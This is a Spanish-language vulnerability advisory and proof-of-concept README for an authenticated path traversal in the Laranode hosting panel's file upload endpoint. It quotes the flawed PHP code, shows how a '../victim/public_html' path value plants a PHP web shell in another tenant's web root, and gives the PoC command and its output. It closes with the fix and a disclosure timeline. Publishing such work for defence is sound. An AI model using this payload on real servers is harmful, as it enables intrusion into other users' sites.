
Path Traversal -> RCE en Laranode < 1.2.1 (CWE-22). PoC + informe de aviso.
Investigación de seguridad autorizada. PoC solo para uso defensivo y educativo.
Un path traversal autenticado en el endpoint de carga del gestor de archivos de Laranode permite a un inquilino con bajos privilegios escribir archivos arbitrarios fuera de su propio directorio home — incluyendo un web shell PHP en la raíz web de otro inquilino — lo que conduce a ejecución remota de código como ese inquilino.
| CVE | CVE-2026-100520 |
| Producto | Laranode (panel de control de hosting multi-inquilino, Laravel) |
| Afectado | >= 0, < 1.2.1 |
| Corregido en | v1.2.1 |
| Vulnerabilidad | Path Traversal (CWE-22) → Escritura Arbitraria de Archivos → RCE |
| Privilegios | Autenticado (cualquier usuario del panel con bajos privilegios) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| Descubierto por | Alisher Qarshibayev |
| Aviso | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php construye la ruta de destino concatenando directamente
los campos de la solicitud path y originalName proporcionados por el usuario sobre el
directorio home del inquilino — sin canonicalización y sin comprobación de traversal:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- controlado por el atacante, no sanitizado
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- sink de traversal
File::append($path . '/' . $r->originalName, $file->get()); // <-- escritura arbitraria
La ruta está protegida únicamente por auth — cualquier inquilino autenticado puede alcanzarla:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
Debido a que path acepta secuencias ../, un valor como ../victim/public_html escapa del
directorio home del llamador y coloca la carga en la raíz web de otro inquilino. Escribir un
archivo .php allí produce ejecución de código en el momento en que se solicita por HTTP.
Requisitos: una cuenta válida con bajos privilegios en la instancia Laranode objetivo (este es el privilegio que asume el CVE). El PoC inicia sesión, obtiene el token CSRF, y escribe un archivo PHP marcador en la raíz web de un inquilino hermano mediante traversal.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
Resultado esperado — el servidor confirma el destino de escritura fuera del home del atacante:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
Ver poc.py. El shell marcador solo ejecuta id/uname para demostrar la ejecución —
sin acciones destructivas.
Actualizar a Laranode 1.2.1 (commit de corrección).
La corrección normaliza la ruta resuelta y rechaza cualquier destino que escape del
directorio home del inquilino (comprobación de contención con realpath()). Orientación general: nunca construir
rutas del sistema de archivos a partir de entrada de usuario sin procesar — canonicalizar y confirmar que el resultado permanece dentro
de un directorio base permitido.
| Fecha | Evento |
|---|---|
| 2026-09-21 | Fecha de divulgación pública |
| 2026-09-26 | CVE-2026-100520 reservado y publicado (VulnCheck) |
Divulgado de forma responsable al proveedor y coordinado a través de VulnCheck. Corregido en v1.2.1 antes de que se publicara este PoC. Publicado con fines defensivos y educativos.